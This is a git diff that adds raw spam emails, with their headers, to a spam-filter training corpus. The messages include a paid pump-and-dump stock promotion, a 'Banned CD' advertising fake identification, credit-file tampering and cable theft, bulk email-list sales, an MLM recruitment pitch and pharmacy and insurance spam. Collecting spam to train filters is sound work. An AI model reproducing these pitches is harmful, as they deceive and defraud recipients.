+Content-Transfer-Encoding: binary + +BUY 2 ADULT DVDs AT REGULAR PRICE AND GET A THIRD XXX DVD FOR FREE!! + +VISIT US AT http://www.hotdvds.org + +To be removed from our list, just reply to this email and type REMOVE in the subject line 6js7M_5WNea5xu3M_D7K7Oouz diff --git a/bayes/spamham/spam_2/00522.3c781aa53f7de37cf33e2205faac7143 b/bayes/spamham/spam_2/00522.3c781aa53f7de37cf33e2205faac7143 new file mode 100644 index 0000000..0fa59d7 --- /dev/null +++ b/bayes/spamham/spam_2/00522.3c781aa53f7de37cf33e2205faac7143 @@ -0,0 +1,47 @@ +From mail0206@btamail.net.cn Mon Jun 24 17:08:42 2002 +Return-Path: mail0206@btamail.net.cn +Delivery-Date: Thu May 30 22:48:40 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4ULmdO24956 for + ; Thu, 30 May 2002 22:48:40 +0100 +Received: from app_server1.sysnet.com.cn ([211.101.210.170]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4ULma709747 for + ; Thu, 30 May 2002 22:48:37 +0100 +Received: from smtp0452.mail.yahoo.com ([12.8.132.8]) by + app_server1.sysnet.com.cn with Microsoft SMTPSVC(5.0.2195.2966); + Fri, 31 May 2002 05:47:05 +0800 +Date: Thu, 30 May 2002 14:47:51 -0700 +From: "Bradford Jackson" +X-Priority: 3 +To: webtv@netnook.com +Subject: FREE Travel package and Business Kit... +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: +X-Originalarrivaltime: 30 May 2002 21:47:05.0763 (UTC) FILETIME=[8A56FF30:01C20823] +X-Keywords: +Content-Transfer-Encoding: 7bit + +Hotels Etc. is giving away 10,000 of our $495 Travel Packages FREE, to help the USA in the promotion of the travel business. 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    =20 + 3D"Life=20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    + + A Life Settlement is = +the sale of a life insurance policy
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    We = +don't want anybody=20 + to receive our mailings who does not wish to receive them. This = +is professional=20 + communication sent to insurance professionals. To be removed = +from this=20 + mailing list, DO NOT REPLY to this message. Instead, go = +here: =20 + http://www.Insurancemail.net

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    + Legal=20 + Notice =20 +
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    +
    For + Immediate Release
    +

    Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory + newsletters picking CBYI.   CBYI has filed to be traded= + on + the OTCBB, share prices historically INCREASE when companies= + get + listed on this larger trading exhange. CBYI is trading aroun= +d =24.30=A2 + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY.

    = + +

    REASONS TO INVEST IN CBYI +

  • A profitable company, NO DEBT and is on track to beat ALL ear= +nings + estimates with increased revenue of 50% annually=21 = + +
  • One of the FASTEST growing distributors in environmental &= +; safety + equipment instruments. +
  • Excellent management team, several EXCLU= +SIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    RAPIDLY GROWING INDUSTRY  +
    Industry revenues exceed =24900 million, estimates indicate th= +at there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    =21=21=21=21 CONGRATULATIONS + =21=21=21=21=21
    To our subscribers that took advantag= +e of + our last recommendation to buy NXLC.  It rallied f= +rom =247.87 + to =2411.73=21      








    +

    ALL removes HONERE= +D. Please allow 7 + days to be removed and send ALL address to: honey9531=40mail.net.cn +

    • +

     

    +

     

    +

    Certain statements contained in this news release may = +be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  Copyright c 2001 +

    + + +***** diff --git a/bayes/spamham/spam_2/00531.f3fffa4504c7009a03dd0d44a4562a84 b/bayes/spamham/spam_2/00531.f3fffa4504c7009a03dd0d44a4562a84 new file mode 100644 index 0000000..309c201 --- /dev/null +++ b/bayes/spamham/spam_2/00531.f3fffa4504c7009a03dd0d44a4562a84 @@ -0,0 +1,201 @@ +From moneymaker@yahoo.com Mon Jun 24 17:08:44 2002 +Return-Path: moneymaker@yahoo.com +Delivery-Date: Thu May 30 23:41:43 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4UMfcO27162 for + ; Thu, 30 May 2002 23:41:38 +0100 +Received: from kccenter.coremation.com (customer171-176.iplannetworks.net + [200.61.171.176] (may be forged)) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with ESMTP id g4UMfZ709881 for ; + Thu, 30 May 2002 23:41:36 +0100 +Received: from . (203.197.32.237 [203.197.32.237]) by + kccenter.coremation.com with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id LR0SFTR8; Thu, 30 May 2002 19:45:39 -0300 +Message-Id: <000026d46d81$0000489e$00004bc0@.> +To: , , , + , , +Cc: , , , + , , +From: moneymaker@yahoo.com +Subject: eBay ordering8932 +Date: Thu, 30 May 2002 15:38:37 -1900 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +

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    + + + + + + + diff --git a/bayes/spamham/spam_2/00532.f9e75080635b69a666e530fb8aa46a57 b/bayes/spamham/spam_2/00532.f9e75080635b69a666e530fb8aa46a57 new file mode 100644 index 0000000..9ee2d51 --- /dev/null +++ b/bayes/spamham/spam_2/00532.f9e75080635b69a666e530fb8aa46a57 @@ -0,0 +1,153 @@ +From research_package@nan.ne.jp Mon Jun 24 17:08:55 2002 +Return-Path: research_package@nan.ne.jp +Delivery-Date: Fri May 31 12:22:40 2002 +Received: from smtp4.cp.tin.it (vsmtp4.tin.it [212.216.176.224]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4VBMcO31645 for + ; Fri, 31 May 2002 12:22:39 +0100 +Received: from mail.nan.ne.jp (62.211.32.123) by smtp4.cp.tin.it (6.5.019) + id 3CEE7AD6002753C5; Fri, 31 May 2002 13:22:00 +0200 +Date: Fri, 31 May 2002 13:22:00 +0200 (added by postmaster@virgilio.it) +Message-Id: <3CEE7AD6002753C5@smtp4.cp.tin.it> (added by + postmaster@virgilio.it) +Reply-To: +From: "research_package@nan.ne.jp" +To: "3592@prodigy.com" <3592@prodigy.com> +Subject: This is the final test of a +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +<=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4.0 Transitional//EN=22> + + + + + + + + + + + +
    +
    For + Immediate Release
    +

    Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory + newsletters picking CBYI.   CBYI has filed to be traded= + on + the OTCBB, share prices historically INCREASE when companies= + get + listed on this larger trading exhange. CBYI is trading aroun= +d =24.30=A2 + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY.

    = + +

    REASONS TO INVEST IN CBYI +

  • A profitable company, NO DEBT and is on track to beat ALL ear= +nings + estimates with increased revenue of 50% annually=21 = + +
  • One of the FASTEST growing distributors in environmental &= +; safety + equipment instruments. +
  • Excellent management team, several EXCLU= +SIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    RAPIDLY GROWING INDUSTRY  +
    Industry revenues exceed =24900 million, estimates indicate th= +at there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    =21=21=21=21 CONGRATULATIONS + =21=21=21=21=21
    To our subscribers that took advantag= +e of + our last recommendation to buy NXLC.  It rallied f= +rom =247.87 + to =2411.73=21      








    +

    ALL removes HONERE= +D. Please allow 7 + days to be removed and send ALL address to: honey9531=40mail.net.cn +

    • +

     

    +

     

    +

    Certain statements contained in this news release may = +be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  Copyright c 2001 +

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    + + + + + + + diff --git a/bayes/spamham/spam_2/00535.6f0720362e104f169c08308d82a8c804 b/bayes/spamham/spam_2/00535.6f0720362e104f169c08308d82a8c804 new file mode 100644 index 0000000..e6976aa --- /dev/null +++ b/bayes/spamham/spam_2/00535.6f0720362e104f169c08308d82a8c804 @@ -0,0 +1,44 @@ +From begjy0PwN@homebusiness.com Mon Jun 24 17:09:11 2002 +Return-Path: begjy0PwN@homebusiness.com +Delivery-Date: Fri May 31 20:29:41 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4VJTeO20603 for + ; Fri, 31 May 2002 20:29:41 +0100 +Received: from mail.braniff.com.mx (mail.braniff.com.mx [148.223.132.114]) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4VJTa714101 + for ; Fri, 31 May 2002 20:29:37 +0100 +Received: from Q4BKVHP8j (mail.braniff.com.mx [127.0.0.1]) by + mail.braniff.com.mx (8.11.2/8.11.2) with SMTP id g4VIUQP31407; + Fri, 31 May 2002 13:30:27 -0500 +Date: 31 May 02 1:28:53 PM +From: begjy0PwN@homebusiness.com +Message-Id: +Subject: ."ANNOUNCING" Legal Services for Just Pennies A Day!........ +X-Keywords: + +Fighting a Traffic Ticket? Going through a Divorce? + +You need an Attorney! + +Take care of all your Legal needs for just pennies day. + +Finally-Affordable Legal Services! + +Send a email for more information THERE IS NO OBLIGATION +(SERIOUS ENQUIRIES ONLY) + +***Please include Name & Phone # OR Info will not be Sent.*** + Email to: greatbizz115@yahoo.com + Put LEGAL ASSISTANCE In the Subject + +________________________________________________ +DISCLAIMER: +======================================== +NOTE: This e-mail is not Spam. You are receiving this +e-mail because you have previously requested more info on a +Business Opportunity or we have shared same opt-in or safe +e-mail list or we have exchanged business opportunities in the +past. If you are no longer interested in exchanging business +opportunities, please send to the email below +rem876@yahoo.com + diff --git a/bayes/spamham/spam_2/00536.196dbf0abb48ceeeedb3a9172823702c b/bayes/spamham/spam_2/00536.196dbf0abb48ceeeedb3a9172823702c new file mode 100644 index 0000000..c21eb97 --- /dev/null +++ b/bayes/spamham/spam_2/00536.196dbf0abb48ceeeedb3a9172823702c @@ -0,0 +1,202 @@ +From masterpc@carolina.rr.com Mon Jun 24 17:08:37 2002 +Return-Path: masterpc@carolina.rr.com +Delivery-Date: Thu May 30 19:08:05 2002 +Received: from carolina.rr.com (IDENT:nobody@[211.184.227.61]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g4UI81O16997 for + ; Thu, 30 May 2002 19:08:02 +0100 +Reply-To: +Message-Id: <007d18d23e1a$3552d2a6$0bd75da6@nyqxwh> +From: +To: +Subject: I could be JAILED for selling this CD! +Date: Fri, 31 May 0102 04:51:42 -1100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +Dear fellow eBay user, + +I listed this CD on eBay a few months ago and here's +what happened. I got an email from Safeharbor saying +that all my auctions had been cancelled and that the CD +was permanently "banned" from being sold on eBay. From +then on, I called it the "Banned CD"! + +So why did eBay ban it? Maybe they figured you shouldn't +have access to this type of information, or maybe they +didn't think we could cram all of these programs onto +one CD Rom. I'll let you decide. + +This CD will teach you things that eBay, Uncle Sam, and +others just don't want you to know. I am not responsible +for how you use some of this information and it is +provided for educational purposes only. Here are just a +few of the things you will learn ... + +*** Find confidential info on anyone in 30 minutes or +less on the Internet. + + You'll be able to track down your old flame, find + out how much money your ex is hiding in their bank + account, or run a background check on proespective + client or employee. Even government agencies have + trouble obtaining much of this information. You + will have all the resources of any professional + investigator right at your fingertips - on your + home computer! + +*** List of companies who will issue you a college + degree (including a Phd.) for a fee. No study + required! + +*** Learn how to get FREE cable and DSS channels, + including the adult stations and Pay-Per-View! + +*** List of suppliers of "questionable" items, such as + fcc banned communications devices, scanners, night + vision goggles, passports, fake identification, and + everything else that you won't find in the back of + Soldier of Fortune magazine! + +*** Find products to resell on the Internet with our + Wholesale Directory containing over 1 million + (that's right, one million!) wholesale sources for + computers, electronics, beanies, trend items, + jewelry, cars, collectibles, and everything else! + +*** Over 25 million email addresses, fresh and targeted! + You can use these to contact the people and send + them your advertisements. + +*** Find out how to get a completely new identity. + Disappear without a trace! + +*** Find out how to ERASE bad credit and even create a + whole new file in the credit bureau computers. + +*** Learn how to beat the IRS. Tax tips for the rest of + us. + +*** Complete guide on how to claim public land offered + by the Government. You can find your dream home for + a ridiculously low price or buy properties to resell + for a huge profit! + +*** Accept checks from your customers by fax, phone and + email with the full working version of Checker + Software included! + +*** Business software to help you run your small business, + including label maker software, money management software, + IRS forgiveness program, database software, and much more. + +*** A huge collection of screensavers, graphics, clipart, + and desktop themes to spice up your computer. + +*** MUCH, MUCH MORE that we don't have room to list! + +Ask yourself this question: where else will you find such +a HUGE collection of information and software on one CD? +And who else would dare sell you a CD containing so much +"contraband" info? It was banned on eBay, has been +prohibited in THIRTY THREE countries, and will soon be +unavailable in the USA. If you wait more than a few days +to order this CD, I can't guarantee I will be able to +sell it. Get this CD *** NOW *** before it is banned forever! + +We accept Visa/Mastercard, Paypal, or cash/check/money order. +To order the "Banned CD" right now for the super low price of +only $19.99, Click on the link below to pay with a +Visa or Mastercard. This will take you to our secure +server for order processing: + +http://pheromone-labs.com/bannedc10.htm + +If you have trouble accessing the link above, +please try this url instead: + +http://www.pheromone-labs.com/bannedc10.htm + +Or you may send cash, check or money order by filling out +the order form below. + +------------------------- CUT HERE ----------------------- + +"Banned CD" +Price: $19.99 + $4.01 Shipping + +HOW TO ORDER BY MAIL: Print out this order form and +send cash, personal check, money order or cashier's +check to the address listed below: + +Quiksilver Enterprises +816 Elm St. #472 +Manchester, NH 03101 + +Your Shipping Information: + +Your Name_____________________________________________ + +Your Address__________________________________________ + +Your City_____________________________________________ + +State / Zip___________________________________________ + +Phone #: _____________________________________________ +(For problems with your order only. No salesmen will call.) + +Email Address_________________________________________ + +NOTE: Shipping is delayed by up to ten days on all mail-in +orders. + +[ ] YES! Please rush order my "Banned CD"!! + +* Please check one of the following payment options: + +[ ] I am mailing my credit card number. (Note your +card will be charged for $24.00) + +[ ] I am enclosing a check or money order for $24.00 + + +If paying by credit card, please fill in the information +below: + + +Credit Card Number:________________________________ + +Expiration Date:___________________________ + +Signature:_________________________ + +Date:____________________ + + +NOTE: This CD is for informational, educational, or +entertainment purposes only. Some of the activities +described on this CD may be illegal if carried out. +This CD contains links and addresses of companies +and individuals which produce various products, or +offer various services, which may be illegal in your +country, state, or city. However, it is perfectly +LEGAL to purchase and possess the Banned CD in the +United States of America. Contains approximately +100 megs of information. + +Shipping outside USA add $10.00 + +Send an email to "affiliate5@btamail.net.cn" +if you no longer wish to receive these mailings. + +{%rand%} + + + +0652CSum5-576ujoU6517niKG2-981mYeo8409wQVH2-459Giug8374xizz6-595PdFe8433GSl70 diff --git a/bayes/spamham/spam_2/00537.c61f1e424853d045bd87415405cf8cfe b/bayes/spamham/spam_2/00537.c61f1e424853d045bd87415405cf8cfe new file mode 100644 index 0000000..e9c1f62 --- /dev/null +++ b/bayes/spamham/spam_2/00537.c61f1e424853d045bd87415405cf8cfe @@ -0,0 +1,59 @@ +From webmaster@youwin2.net Mon Jun 24 17:08:53 2002 +Return-Path: webmaster@youwin2.net +Delivery-Date: Fri May 31 10:01:17 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4V91GO25914 for + ; Fri, 31 May 2002 10:01:17 +0100 +Received: from youwin2.net (IDENT:squid@[211.184.224.60]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4V91C711844 for + ; Fri, 31 May 2002 10:01:14 +0100 +Reply-To: +Message-Id: <033c36b71c7d$4742a1e4$6ea41ca1@ulkcdd> +From: +To: +Subject: Freedom - $1,021,320.00 per year. +Date: Fri, 31 May 2002 12:25:47 -0400 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +Hi, + + I would like you to enjoy the same success +that I have had, since joining this program for FREE. +Cost you nothing to join! + + PRE-BUILT DOWNLINE: A full (2 wide x 10 deep) profit center will have +a total of 2,046 people and a payout of up to $1,021,320.00 per year. + +The FASTEST way for us to help you build a HUGE DOWNLINE is to give away +FREE MEMBERSHIPS to highly motivated prospects, like you, +and help build a downline under them. + + This is the FASTEST and MOST COST-EFFECTIVE WAY +to build a productive downline! + + WE ARE CURRENTLY RECRUITING OVER 1,000 NEW MEMBERS +PER WEEK WITH OUR LIGHTNING FAST RECRUITING SYSTEM!!! + +Go to: +http://www.ircinconline.com/isb.htm + +Code Number 000-01-3118 + + +PS... After I received my info pack, the company already +had placed 30 people under me + +_________________________________________________________________ + DISCLAIMER + +To REMOVE yourself from my data base please hit REPLY and insert +REMOVE in the subject box. + +7211iAHr5-883Pbxd6893ZUNf7-464YxFl31 diff --git a/bayes/spamham/spam_2/00538.46858b6122a85685022250db2f25b32a b/bayes/spamham/spam_2/00538.46858b6122a85685022250db2f25b32a new file mode 100644 index 0000000..db53c52 --- /dev/null +++ b/bayes/spamham/spam_2/00538.46858b6122a85685022250db2f25b32a @@ -0,0 +1,33 @@ +From jjc7y7676668t04@hotmail.com Mon Jun 24 17:08:42 2002 +Return-Path: jjc7y7676668t04@hotmail.com +Delivery-Date: Thu May 30 23:16:37 2002 +Received: from hotmail.com (IDENT:nobody@[210.90.86.121]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g4UMGYO26031 for + ; Thu, 30 May 2002 23:16:35 +0100 +Reply-To: +Message-Id: <021b58d34a3d$4363e3b5$3ed24cc7@mvwrwg> +From: +To: +Subject: The instant drugstore 6537DW-6 +Date: Fri, 31 May 2002 08:04:16 -1000 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C3_00C72E6D.E0387B16" + +------=_NextPart_000_00C3_00C72E6D.E0387B16 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +KCVyYW5kJSkNCg0KDQpGcm9tIHRoZSBwcml2YWN5IG9mIHlvdXIgaG9tZQ0K +QWxsIHlvdXIgcGVyc2NyaXB0aW9uIG5lZWRzIGVhc2lseQ0KRXZlcnl0aGlu +ZyBmcm9tIHNleHVhbCBhaWRzIHRvIGRpZXQgYWlkcw0KRG9jdG9yIG9mZmlj +ZSB2aXNpdHMgbm90IHJlcXVpcmVkDQpBdmFpbGFibGUgMjRYNw0KDQpodHRw +Oi8vd3d3LnF1aWNrcnhtZWRzLmNvbS9tYWluMi5waHA/cng9MTYzNTYNCg0K +DQp0b20xOTUyMTU2NDJAeWFob28uY29tDQowNzAzQkRjVDEtNzgyc1FjSjE3 +NzdKRVhEMy04NTRGc1lnOTkzMXlCWnY4LTYxMGlvaU03MjEwRVFlczktNWw1 +OA== diff --git a/bayes/spamham/spam_2/00539.6e6f7b032b644f9b1355f46d20944350 b/bayes/spamham/spam_2/00539.6e6f7b032b644f9b1355f46d20944350 new file mode 100644 index 0000000..39756f9 --- /dev/null +++ b/bayes/spamham/spam_2/00539.6e6f7b032b644f9b1355f46d20944350 @@ -0,0 +1,294 @@ +From noonelists8387@eudoramail.com Mon Jun 24 17:09:03 2002 +Return-Path: noonelists8387@eudoramail.com +Delivery-Date: Fri May 31 15:41:20 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4VEfJO08111 for + ; Fri, 31 May 2002 15:41:19 +0100 +Received: from eudoramail.com ([211.184.7.254]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4VEfF713091 for + ; Fri, 31 May 2002 15:41:16 +0100 +Reply-To: +Message-Id: <006c14a06a2a$5284d4a3$4cb66ee3@bowunm> +From: +To: you@mandark.labs.netnoteinc.com +Subject: #$ Highly Targeted Email List! +Date: Fri, 31 May 0102 18:22:39 -0400 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +Dear Consumers, Increase your Business Sales! + +How?? + +By targeting millions of buyers via e-mail !! + +25 MILLION EMAILS + Bulk Mailing Software For Only $150.00 + +super low price! ACT NOW !!! + +Our Fresh Addresses Will Bring You + +Incredible Results! + + + +If you REALLY want to get the word out regarding + +your services or products, Bulk Email is the BEST + +way to do so, PERIOD! Advertising in newsgroups is + +good but you're competing with hundreds even THOUSANDS + +of other ads. Will your customer's see YOUR ad in the + +midst of all the others? + +Free Classifieds? (Don't work) + +Web Site? (Takes thousands of visitors) + +Banners? (Expensive and iffy) + +E-Zine? (They better have a huge list) + +Search Engines? (Easily buried with thousands of others) + +Bulk Email will allow you to DIRECTLY contact your + +potential customers. They are much more likely to + +take the time to read about what you have to offer + +if it was as easy as reading it via email rather + +than searching through countless postings in + +newsgroups. + +The list's are divided into groups and are compressed. + +This will allow you to use the names right off the cd. + +ORDER IN THE NEXT 72 hours AND RECIEVE 4 BONUSES!! + +ORDER IN THE NEXT 48 HOURS AND RECIEVE FULL TECHNICAL SUPPORT !!! + +ACT NOW !!!!!!!!!!!!!! + +*BONUS #1 Receive an additional cd-rom with millions of fresh, + +deliverable general internet e-mail addresses free!! + +*BONUS #2 Receive 2000 how to books, reports and manuals on cd-rom with + +reprint resale rights! Produce for pennies and resell for BIG dollars! + +*BONUS #3 Receive the Mass Mailer bulk delivery software, with full + +operating instructions. This software will get the mail out QUICK! + +*BONUS #4 Receive the Informational Guide to bulk e-mail. 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To place an order, you can call us at: + +1-308-650-5905 ext 121 Are fax your order to 1-415-873-2700 + + + + + +This Number is for credit Card Orders Only!!! + +CHECK BY FAX SERVICES! + + + +__________________________________________ + +To order, via credit card simply cut/paste and print out the + +EZ ORDER FORM below and fax to our office today. + + + +***** NOW ONLY $150! ***** + +This "Special Price" is in effect for the next seven days, + +after that we go back to our regular price of $250.00 ... + +Don't delay... you can be in business tomorrow! + +We accept Visa, Mastercard, Amex, Disc and Checks by Fax. + +----------------------Cut & Paste---------------------- + +---------------------EZ Order Form--------------------- + +_____Yes! I want everything! I am ordering within 72 hours. + +Include my FREE "Business On A Disk" bonus along with your + +Millions of E-Mail addresses on CD (plus 1,093,808 bonus addresses) + +for the special price of only $150.00 + shipping as indicated + +below. + +_____Yes! I missed the 72 hour special, but I am ordering + +CD WITH, super clean e-mail addresses within 7 days for the + +"special" price of only $250.00 + s&h. + +_____Oop's I missed the 72 hour and 7 day "specials". I am + +ordering The Cd at the regular price of $250.00 + s&h. + +***PLEASE SELECT YOUR SHIPPING OPTION*** + +____I would like to receive my package FedEx OVERNIGHT. I am + +including $15 for shipping. (Hawaii & Alaska $20 - Canada $25, + +all other International add an *additional* $25 [$40 total] for shipping) + +____I would like to receive my package FedEx 2 DAY delivery. + +I'm including $10 for shipping. (Sorry no Canada or International + +delivery - Continental U.S. shipping addresses only) + +***Please Print Carefully*** + +NOTE: Orders cannot be shipped without complete information + +including your signature. No exceptions! + +NAME____________________________________________________ + +COMPANY NAME____________________________________________ + +ADDRESS_________________________________________________ + +(FedEx can only ship to street addresses - no P.O. boxes) + +CITY, STATE, ZIP________________________________________ + +PHONE NUMBER____________________________________________ + +(required for shipping & tracking) + +EMAIL ADDRESS___________________________________________ + +(Print Carefully - required in case we have a question and to + +send you a confirmation that your order has been shipped and for + +technical support if you order within 24 hrs) + +TYPE OF CREDIT CARD: + +______VISA _____MASTERCARD ______AMEX ______DISC + +CREDIT CARD# __________________________________________ + +EXPIRATION DATE________________________________________ + +NAME ON CARD___________________________________________ + +TOTAL AMOUNT (Including Shipping): $___________________ + +DATE:x__________________ + +(Required) SIGNATURE:x_________________________________ + +I understand that I am purchasing the e-mail address on CD, + +and authorize the above charge to my credit card, the addresses are not rented, + +but are mine to use for my own mailing, over-and-over. Free bonuses are included, + +but cannot be considered part of the financial transaction. I understand that it + +is my responsibility to comply with any laws applicable to my local area. As with + +all software, once opened the CD may not be returned, however, if found defective + +it will be replaced with like product at no charge. + +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order + +is received before 3pm Central . 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    + + + +------=_NextPart_000_18A46D_01C208DC.75F3BB50-- diff --git a/bayes/spamham/spam_2/00544.b40f8f2923fe96b02cd7c46fef0adea0 b/bayes/spamham/spam_2/00544.b40f8f2923fe96b02cd7c46fef0adea0 new file mode 100644 index 0000000..7b643a6 --- /dev/null +++ b/bayes/spamham/spam_2/00544.b40f8f2923fe96b02cd7c46fef0adea0 @@ -0,0 +1,41 @@ +From mort239o@xum9.xumx.com Mon Jun 24 17:48:23 2002 +Return-Path: mort239o@xum9.xumx.com +Delivery-Date: Sat Jun 1 06:39:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g515dtO28781 for + ; Sat, 1 Jun 2002 06:39:56 +0100 +Received: from xum9.xumx.com ([208.6.64.39]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g515ds715827 for + ; Sat, 1 Jun 2002 06:39:54 +0100 +Date: Fri, 31 May 2002 22:41:10 -0400 +Message-Id: <200206010241.g512f9013122@xum9.xumx.com> +From: mort239o@xum9.xumx.com +To: gcuozcifyx@xum9.xumx.com +Reply-To: mort239o@xum9.xumx.com +Subject: ADV: Life Insurance - Pennies a day! -- FREE Quote dxyxi +X-Keywords: + +Low-Cost Term-Life Insurance! +SAVE up to 70% or more on your term life insurance policy now. + +Male age 40 - $250,000 - 10 year level term - as low as $11 per month. + +CLICK HERE NOW For your FREE Quote! +http://211.78.96.11/insurance/ + +If you haven't taken the time to think about what you are paying for life insurance...now is the time!!! + +We offer the lowest rates available from nationally recognized carriers. + +Act now and pay less! +CLICK HERE +http://211.78.96.11/insurance/ + + + +++++++++++++++++++++++++++++ +Simple Removal instructions: +To be removed from our in-house list simply visit +http://211.78.96.11/removal/remove.htm +Enter your email addresses to unsubscribe. + diff --git a/bayes/spamham/spam_2/00545.296b31ed5391f5e3674c734171643f45 b/bayes/spamham/spam_2/00545.296b31ed5391f5e3674c734171643f45 new file mode 100644 index 0000000..64ec919 --- /dev/null +++ b/bayes/spamham/spam_2/00545.296b31ed5391f5e3674c734171643f45 @@ -0,0 +1,70 @@ +From vret21v2137@yahoo.com Mon Jun 24 17:49:10 2002 +Return-Path: vret21v2137@yahoo.com +Delivery-Date: Sat Jun 8 17:01:59 2002 +Received: from mail.apf.sk (tps.11.168.195.in-addr.arpa [195.168.11.19] + (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g58G1xG32704 for ; Sat, 8 Jun 2002 17:01:59 +0100 +Received: from mx2.mail.yahoo.com ([217.35.110.225]) by mail.apf.sk (Kerio + MailServer 5.0.5); Thu, 30 May 2002 09:18:56 +0200 